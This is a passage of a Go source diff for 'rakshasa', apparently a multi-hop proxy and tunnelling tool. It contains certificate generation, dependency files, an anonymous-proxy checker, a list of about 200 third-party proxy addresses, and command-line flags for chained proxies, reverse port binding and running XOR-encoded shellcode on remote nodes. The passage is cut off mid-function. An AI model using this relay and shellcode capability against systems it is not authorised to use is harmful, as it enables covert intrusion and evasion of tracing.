SerialNumber: big.NewInt(rand.Int63n(2000)),
|
||||
Subject: *sub,
|
||||
IPAddresses: ip,
|
||||
DNSNames: dns,
|
||||
NotBefore: time.Now(),
|
||||
NotAfter: time.Now().AddDate(expire, 0, 0),
|
||||
SubjectKeyId: []byte{1, 2, 3, 4, 6},
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
|
||||
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||
}
|
||||
|
||||
cert.CERT, err = x509.CreateCertificate(cr.Reader, cert.CSR, ca, &cert.CERTKEY.PublicKey, cert.CERTKEY)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cert.CERTPEM = new(bytes.Buffer)
|
||||
pem.Encode(cert.CERTPEM, &pem.Block{
|
||||
Type: "CERTIFICATE",
|
||||
Bytes: cert.CERT,
|
||||
})
|
||||
cert.CERTKEYPEM = new(bytes.Buffer)
|
||||
pem.Encode(cert.CERTKEYPEM, &pem.Block{
|
||||
Type: "RSA PRIVATE KEY",
|
||||
Bytes: x509.MarshalPKCS1PrivateKey(cert.CERTKEY),
|
||||
})
|
||||
return cert, nil
|
||||
}
|
||||
|
||||
func Write(cert *CERT, file string) error {
|
||||
keyFileName := file + ".key"
|
||||
certFIleName := file + ".crt"
|
||||
kf, err := os.Create(keyFileName)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer kf.Close()
|
||||
|
||||
if _, err := kf.Write(cert.CERTKEYPEM.Bytes()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cf, err := os.Create(certFIleName)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := cf.Write(cert.CERTPEM.Bytes()); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
module rakshasa
|
||||
|
||||
go 1.16
|
||||
|
||||
replace github.com/abiosoft/readline => ./readline
|
||||
|
||||
require (
|
||||
github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db
|
||||
github.com/creack/pty v1.1.18
|
||||
github.com/dlclark/regexp2 v1.7.0
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/luyu6056/ishell v1.0.1
|
||||
github.com/mattn/go-colorable v0.1.12 // indirect
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a // indirect
|
||||
golang.org/x/text v0.3.7
|
||||
gopkg.in/yaml.v3 v3.0.1
|
||||
)
|
||||
@@ -0,0 +1,58 @@
|
||||
github.com/abiosoft/ishell v2.0.0+incompatible h1:zpwIuEHc37EzrsIYah3cpevrIc8Oma7oZPxr03tlmmw=
|
||||
github.com/abiosoft/ishell v2.0.0+incompatible/go.mod h1:HQR9AqF2R3P4XXpMpI0NAzgHf/aS6+zVXRj14cVk9qg=
|
||||
github.com/abiosoft/ishell/v2 v2.0.2 h1:5qVfGiQISaYM8TkbBl7RFO6MddABoXpATrsFbVI+SNo=
|
||||
github.com/abiosoft/ishell/v2 v2.0.2/go.mod h1:E4oTCXfo6QjoCart0QYa5m9w4S+deXs/P/9jA77A9Bs=
|
||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
||||
github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM=
|
||||
github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ=
|
||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
|
||||
github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04=
|
||||
github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8=
|
||||
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
|
||||
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo=
|
||||
github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BMXYYRWTLOJKlh+lOBt6nUQgXAfB7oVIQt5cNreqSLI=
|
||||
github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:rZfgFAXFS/z/lEd6LJmf9HVZ1LkgYiHx5pHhV5DR16M=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/luyu6056/ishell v1.0.1 h1:ztZGZXGIoeRSfynF2D9TmNVc5KBJo7TXEEtyxC/HnXg=
|
||||
github.com/luyu6056/ishell v1.0.1/go.mod h1:HY5iQO19Iwonkp+PdWGcixzqUpfIm35HyIkj2UrsVbg=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40=
|
||||
github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354/go.mod h1:KSVJerMDfblTH7p5MZaTt+8zaT2iEk3AkVb9PQdZuE8=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/testify v1.1.4/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a h1:dGzPydgVsqGcTRVwiLJ1jVbufYwmzD3LfVPLKsKg+0k=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -0,0 +1,212 @@
|
||||
package httppool
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"rakshasa/common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func CheckProxy(in, out string, timeout uint, checkurl string, anonymous bool) {
|
||||
outFile, err := os.OpenFile(out, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0666)
|
||||
if err != nil {
|
||||
log.Fatalf("CheckProxy 无法写出文件 %s", out)
|
||||
}
|
||||
defer outFile.Close()
|
||||
var res int
|
||||
if cfg, err := common.ParseAddr(in); err == nil {
|
||||
if check(cfg, timeout, checkurl, outFile, anonymous) {
|
||||
res = 1
|
||||
}
|
||||
} else {
|
||||
inFile, err := os.OpenFile(in, os.O_RDONLY, 0666)
|
||||
if err != nil {
|
||||
log.Fatalf("-check_proxy 无法识别无法读取 %s", in)
|
||||
}
|
||||
limit := make(chan struct{}, 32)
|
||||
reader := bufio.NewReader(inFile)
|
||||
var wg sync.WaitGroup
|
||||
for {
|
||||
line, err := reader.ReadString(10)
|
||||
if err == io.EOF && line == "" {
|
||||
break
|
||||
}
|
||||
wg.Add(1)
|
||||
limit <- struct{}{}
|
||||
go func() {
|
||||
line = strings.TrimRight(line, "\n")
|
||||
line = strings.TrimRight(line, "\r")
|
||||
|
||||
if cfg, err = common.ParseAddr(line); err == nil {
|
||||
if check(cfg, timeout, checkurl, outFile, anonymous) {
|
||||
res++
|
||||
}
|
||||
}
|
||||
|
||||
<-limit
|
||||
wg.Done()
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
log.Printf("一共有%d个代理通过检测,已保存到 %v", res, out)
|
||||
|
||||
}
|
||||
func check(cfg *common.Addr, timeout uint, checkurl string, outFile *os.File, anonymous bool) bool {
|
||||
|
||||
switch cfg.Scheam() {
|
||||
case "", "http://":
|
||||
|
||||
proxy := func(_ *http.Request) (*url.URL, error) {
|
||||
return url.Parse(cfg.HttpUrl())
|
||||
}
|
||||
|
||||
transport := &http.Transport{Proxy: proxy}
|
||||
|
||||
client := &http.Client{Transport: transport, Timeout: time.Second * time.Duration(timeout)}
|
||||
resp, err := client.Get(checkurl)
|
||||
|
||||
if err != nil {
|
||||
|
||||
if strings.Contains(err.Error(), "Client.Timeout") {
|
||||
//log.Printf("地址 %v 检测失败 超时没响应\r\n", cfg)
|
||||
//} else {
|
||||
//log.Printf("地址 %v 检测失败 %v\r\n", cfg, err)
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
if anonymous {
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
if string(b) == cfg.IP() {
|
||||
log.Printf("地址 %v 通过匿名代理检测\r\n", cfg.String())
|
||||
if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil {
|
||||
log.Printf("无法写入文件%s", outFile.Name())
|
||||
}
|
||||
if err = outFile.Sync(); err != nil {
|
||||
log.Printf("无法写入文件%s", outFile.Name())
|
||||
}
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
} else {
|
||||
log.Printf("地址 %v 通过检测\r\n", cfg.String())
|
||||
if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil {
|
||||
log.Printf("无法写入文件%s", outFile.Name())
|
||||
}
|
||||
if err = outFile.Sync(); err != nil {
|
||||
log.Printf("无法写入文件%s", outFile.Name())
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
//log.Printf("地址 %v 检测失败 结果状态码不是 200\r\n", addr)
|
||||
return false
|
||||
case "socks5://":
|
||||
|
||||
netconn, err := net.Dial("tcp", cfg.Addr())
|
||||
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
netconn.Write([]byte{5, 1, 2})
|
||||
var result [8192]byte
|
||||
n, err := netconn.Read(result[:])
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if string(result[:n]) == string([]byte{5, 2}) { //需要认证
|
||||
user, password := cfg.User(), cfg.Password()
|
||||
if user == "" && password == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
data := make([]byte, (3 + len(user) + len(password)))
|
||||
data[0] = 5
|
||||
data[1] = byte(len(user))
|
||||
copy(data[2:], user)
|
||||
data[2+len(user)] = byte(len(password))
|
||||
copy(data[3+len(user):], password)
|
||||
netconn.Write(data)
|
||||
n, err = netconn.Read(result[:])
|
||||
if err != nil || string(result[:n]) != string([]byte{5, 0}) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
log.Printf("地址 %v 通过socks5检测\r\n", cfg.String())
|
||||
if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil {
|
||||
log.Printf("无法写入文件%s", outFile.Name())
|
||||
}
|
||||
if err = outFile.Sync(); err != nil {
|
||||
log.Printf("无法写入文件%s", outFile.Name())
|
||||
}
|
||||
return true
|
||||
default:
|
||||
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
type HttpPool struct {
|
||||
r *bufio.Reader
|
||||
f *os.File
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func HttpPoolInit(file string) (*HttpPool, error) {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
|
||||
}
|
||||
p := &HttpPool{
|
||||
r: bufio.NewReader(f),
|
||||
f: f,
|
||||
Mutex: sync.Mutex{},
|
||||
}
|
||||
if _, err = p.do_next(0); err != nil {
|
||||
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
func (p *HttpPool) Next() *common.Addr {
|
||||
addr, _ := p.do_next(0)
|
||||
return addr
|
||||
}
|
||||
func (p *HttpPool) do_next(n int) (*common.Addr, error) {
|
||||
if n > 100 {
|
||||
return nil, errors.New("重试错误次数过多")
|
||||
}
|
||||
p.Lock()
|
||||
line, err := p.r.ReadString(10)
|
||||
if err == io.EOF {
|
||||
p.f.Seek(0, 0)
|
||||
p.r.Reset(p.f)
|
||||
p.Unlock()
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
p.Unlock()
|
||||
line = strings.TrimRight(line, "\n")
|
||||
line = strings.TrimRight(line, "\r")
|
||||
|
||||
if len(line) == 0 {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
addr, err := common.ParseAddr(line)
|
||||
if err != nil {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
return addr, nil
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
209.97.150.167:8080
|
||||
199.5.133.194:80
|
||||
74.208.51.197:5000
|
||||
34.135.166.24:80
|
||||
82.180.163.163:80
|
||||
35.172.202.138:80
|
||||
109.122.195.14:80
|
||||
66.29.154.103:3128
|
||||
35.222.50.197:80
|
||||
169.55.89.6:80
|
||||
174.70.1.210:8080
|
||||
35.209.198.222:80
|
||||
208.109.32.60:81
|
||||
3.134.56.120:80
|
||||
20.241.236.196:3128
|
||||
216.215.123.174:8080
|
||||
3.128.142.113:80
|
||||
146.190.74.6:80
|
||||
24.106.221.230:53281
|
||||
165.3.122.211:80
|
||||
155.254.192.216:80
|
||||
104.255.231.87:3128
|
||||
45.61.163.12:80
|
||||
45.77.198.163:80
|
||||
216.137.184.253:80
|
||||
71.255.153.117:80
|
||||
104.223.135.178:10000
|
||||
109.122.195.16:80
|
||||
5.78.78.180:8080
|
||||
54.82.79.59:80
|
||||
52.24.80.166:80
|
||||
3.220.76.84:80
|
||||
129.153.107.221:80
|
||||
64.225.8.115:9997
|
||||
20.69.79.158:8443
|
||||
191.101.1.116:80
|
||||
5.78.75.64:8080
|
||||
72.169.67.145:87
|
||||
12.69.91.227:80
|
||||
4.16.68.158:443
|
||||
52.144.46.250:25345
|
||||
198.59.191.234:8080
|
||||
64.225.4.12:9991
|
||||
93.188.166.232:80
|
||||
137.184.197.190:80
|
||||
72.169.67.241:87
|
||||
130.41.109.158:8080
|
||||
204.2.218.145:8080
|
||||
66.75.121.167:8080
|
||||
162.223.94.163:80
|
||||
38.242.195.210:80
|
||||
64.225.8.132:9979
|
||||
93.188.161.84:80
|
||||
68.183.143.134:80
|
||||
64.225.8.142:9988
|
||||
184.60.66.122:80
|
||||
15.204.207.232:3128
|
||||
64.225.4.81:9991
|
||||
47.254.47.61:77
|
||||
64.225.8.118:9990
|
||||
31.220.52.49:80
|
||||
23.238.33.186:80
|
||||
52.86.21.254:80
|
||||
103.152.112.145:80
|
||||
3.12.178.169:80
|
||||
47.88.87.74:1080
|
||||
98.110.236.35:8080
|
||||
142.93.61.46:80
|
||||
154.202.97.224:3128
|
||||
154.201.62.199:3128
|
||||
154.202.122.29:3128
|
||||
154.202.98.115:3128
|
||||
72.169.66.157:87
|
||||
75.89.101.62:80
|
||||
64.225.8.121:9992
|
||||
198.11.175.192:3128
|
||||
159.89.132.167:8989
|
||||
72.170.220.17:8080
|
||||
148.76.97.250:80
|
||||
3.94.182.57:7497
|
||||
43.251.116.62:45787
|
||||
206.189.199.91:80
|
||||
34.23.45.223:80
|
||||
64.225.4.63:9998
|
||||
52.38.72.41:80
|
||||
38.52.220.194:999
|
||||
18.217.198.64:80
|
||||
206.161.97.62:31337
|
||||
170.187.138.40:8009
|
||||
143.198.182.218:80
|
||||
34.170.89.64:80
|
||||
97.74.92.60:80
|
||||
64.225.8.82:9995
|
||||
43.249.11.114:45787
|
||||
137.184.242.126:80
|
||||
143.110.232.177:80
|
||||
143.198.228.250:80
|
||||
209.126.6.159:80
|
||||
138.68.60.8:3128
|
||||
63.239.220.11:8080
|
||||
100.21.127.153:80
|
||||
34.229.213.84:8118
|
||||
45.81.130.51:45787
|
||||
198.199.86.11:8080
|
||||
108.161.128.43:80
|
||||
209.169.71.193:80
|
||||
64.225.8.191:9987
|
||||
167.99.236.14:80
|
||||
156.239.48.222:3128
|
||||
209.127.148.104:3128
|
||||
154.202.118.16:3128
|
||||
154.202.124.35:3128
|
||||
154.83.8.195:3128
|
||||
154.202.125.108:3128
|
||||
194.50.243.120:3128
|
||||
154.202.127.66:3128
|
||||
154.202.119.127:3128
|
||||
156.239.48.48:3128
|
||||
162.144.236.128:80
|
||||
157.230.48.102:80
|
||||
104.45.128.122:80
|
||||
149.248.14.12:24018
|
||||
72.169.67.85:87
|
||||
128.199.13.74:80
|
||||
64.225.4.29:9994
|
||||
72.52.217.188:80
|
||||
154.202.122.17:3128
|
||||
154.202.127.8:3128
|
||||
154.202.127.192:3128
|
||||
154.202.115.109:3128
|
||||
156.239.51.113:3128
|
||||
154.202.119.154:3128
|
||||
154.202.98.233:3128
|
||||
154.201.61.223:3128
|
||||
156.239.53.151:3128
|
||||
154.202.97.174:3128
|
||||
209.127.48.59:3128
|
||||
156.239.48.128:3128
|
||||
156.239.54.138:3128
|
||||
154.202.125.44:3128
|
||||
156.239.51.49:3128
|
||||
154.202.113.77:3128
|
||||
209.127.136.164:3128
|
||||
154.202.122.139:3128
|
||||
154.202.114.4:3128
|
||||
45.199.137.179:3128
|
||||
185.93.32.136:3128
|
||||
45.199.140.87:3128
|
||||
154.202.114.244:3128
|
||||
156.239.55.233:3128
|
||||
154.202.112.54:3128
|
||||
156.239.51.131:3128
|
||||
154.83.10.189:3128
|
||||
154.83.8.13:3128
|
||||
154.83.11.100:3128
|
||||
154.202.112.128:3128
|
||||
156.239.50.212:3128
|
||||
154.202.110.19:3128
|
||||
45.199.141.170:3128
|
||||
154.202.113.221:3128
|
||||
154.202.113.65:3128
|
||||
45.199.140.85:3128
|
||||
45.199.141.22:3128
|
||||
50.114.110.124:3128
|
||||
154.202.96.105:3128
|
||||
154.202.114.110:3128
|
||||
156.239.53.37:3128
|
||||
156.239.55.63:3128
|
||||
45.199.137.141:3128
|
||||
154.202.118.60:3128
|
||||
154.202.114.168:3128
|
||||
45.199.140.71:3128
|
||||
156.239.54.108:3128
|
||||
154.202.114.20:3128
|
||||
50.114.111.113:3128
|
||||
156.239.53.217:3128
|
||||
154.83.10.165:3128
|
||||
45.199.139.158:3128
|
||||
156.239.49.73:3128
|
||||
154.202.112.20:3128
|
||||
45.199.141.196:3128
|
||||
154.202.98.241:3128
|
||||
194.50.243.246:3128
|
||||
154.201.63.43:3128
|
||||
50.114.111.75:3128
|
||||
154.202.111.153:3128
|
||||
156.239.52.10:3128
|
||||
156.239.51.17:3128
|
||||
154.202.125.224:3128
|
||||
156.239.54.78:3128
|
||||
154.202.117.84:3128
|
||||
154.83.9.218:3128
|
||||
154.202.107.212:3128
|
||||
156.239.53.11:3128
|
||||
156.239.49.131:3128
|
||||
154.202.118.72:3128
|
||||
154.83.9.238:3128
|
||||
45.199.141.60:3128
|
||||
156.239.55.117:3128
|
||||
154.202.120.165:3128
|
||||
socks5://admin:[email protected]:1080
|
||||
@@ -0,0 +1,212 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"log"
|
||||
"net/http"
|
||||
_ "net/http/pprof"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"rakshasa/httppool"
|
||||
"rakshasa/server"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
var (
|
||||
//以下为配置参数
|
||||
dstNode = flag.String("d", "", "依次连接到指定的 上级节点地址,格式为 ip:端口 多个节点以,隔开\r\n -d 192.168.1.1:8883\r\n -d 192.168.1.1:8883,192.168.1.2:8882")
|
||||
limit = flag.String("limit", "", "limit模式,只连接-d的节点,不进行额外节点连接,默认为false,如果为true,本节点掉线的时候,将会尝试连接所有已保存节点")
|
||||
password = flag.String("password", "", "通讯二次加密秘钥,可为空")
|
||||
listenip = flag.String("ip", "", "设置本地节点指定公网ip,多个ip以,间隔,如\r\n -ip 192.168.1.1")
|
||||
port = flag.String("p", "", "设置本地节点监听端口,默认8883")
|
||||
configFile = flag.String("f", "", "配置文件路径,为空的时候不读取")
|
||||
check_proxy = flag.String("check_proxy", "", "检查http代理是否有效,传入参数可以是ip:port 或者文件,当前支持ipv4,并将结果保存到-check_proxy_out,可选参数-check_proxy_timeout,-check_proxy_url,使用方法: \r\n -check_proxy 192.168.1.1:8080\r\n -check_proxy in.txt\r\n -check_proxy in.txt -check_proxy_out out.txt -check_proxy_timeout 10 -check_proxy_url https://www.google.com/")
|
||||
check_proxy_out = flag.String("check_proxy_out", "out.txt", "配合-check_proxy一起,将有效代理保存到指定文件,默认保存到 out.txt")
|
||||
check_proxy_timeout = flag.Uint("check_proxy_timeout", 10, "配合-check_proxy一起,设定代理检测超时,单位秒,默认10")
|
||||
check_proxy_url = flag.String("check_proxy_url", server.CheckProxyUrl, "自定义url检测,配合-check_proxy一起使用,设定代理检测url,不能测试是否匿名")
|
||||
check_proxy_anonymous = flag.Bool("check_proxy_anonymous", true, "检测代理是否匿名,非匿名代理不保存,默认为true,必须使用默认url")
|
||||
|
||||
//以下为功能参数,必须配合-d参数启动
|
||||
socks5port = flag.String("socks5", "", "以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器,如: -socks5 admin:[email protected]:1080")
|
||||
remoteSocksport = flag.String("remotesocks5", "", "-d节点监听socks5代理,并将请求通过本地转出,如: -remote admin:[email protected]:1080")
|
||||
rawbind = flag.String("bind", "", "反向代理转发模式,格式为ip:port,remote_ip:remote_port,-d指定节点将会监听remote_ip:remote_port,通过本机将数据转发到ip:port,如\r\n -bind 127.0.0.1:80,0.0.0.0:80")
|
||||
rawconnect = flag.String("connect", "", "代理转发模式,格式为ip:port,remote_ip:remote_port,本地监听ip:port,并在-d节点连接到remote_ip:remote_port,如\r\n -connect 0.0.0.0:80,192.168.1.1:80")
|
||||
noCLI = flag.Bool("nocli", false, "不启动cli")
|
||||
shellCode = flag.String("shellcode", "", "与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码")
|
||||
shellCodeXorKey = flag.String("sXor", "", "shellcode的xor解码密钥")
|
||||
shellCodeParam = flag.String("sParam", "", "shellcode的运行参数")
|
||||
shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒")
|
||||
http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:[email protected]:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080")
|
||||
http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求")
|
||||
)
|
||||
|
||||
flag.Parse()
|
||||
if *check_proxy != "" {
|
||||
if *check_proxy_url != server.CheckProxyUrl && *check_proxy_anonymous == true {
|
||||
log.Println("检测url不是默认url,将取消匿名代理检测")
|
||||
*check_proxy_anonymous = false
|
||||
}
|
||||
httppool.CheckProxy(*check_proxy, *check_proxy_out, *check_proxy_timeout, *check_proxy_url, *check_proxy_anonymous)
|
||||
return
|
||||
}
|
||||
|
||||
var config common.Config
|
||||
if *configFile != "" {
|
||||
if err := server.ConfigLoad(*configFile); err != nil {
|
||||
log.Fatalln("读取配置文件", *configFile, "失败 ", err)
|
||||
}
|
||||
config = server.GetConfig()
|
||||
} else {
|
||||
config = common.Config{
|
||||
Port: 8883,
|
||||
Limit: false,
|
||||
FileName: "config.yaml",
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if *dstNode != "" {
|
||||
serverlist, err := common.ResolveTCPAddr(*dstNode)
|
||||
if err != nil {
|
||||
log.Fatalln("-d参数错误", err)
|
||||
}
|
||||
config.DstNode = serverlist
|
||||
}
|
||||
|
||||
if *password != "" {
|
||||
config.Password = *password
|
||||
}
|
||||
if *listenip != "" {
|
||||
config.ListenIp = strings.Split(*listenip, ",")
|
||||
}
|
||||
if *limit != "" {
|
||||
if *limit != "flase" && *limit != "true" {
|
||||
log.Fatalln("limit 参数错误,必须是 false 或者 true")
|
||||
}
|
||||
config.Limit = *limit == "true"
|
||||
}
|
||||
if *port != "" {
|
||||
p, _ := strconv.Atoi(*port)
|
||||
if p < 1 || p > 65535 {
|
||||
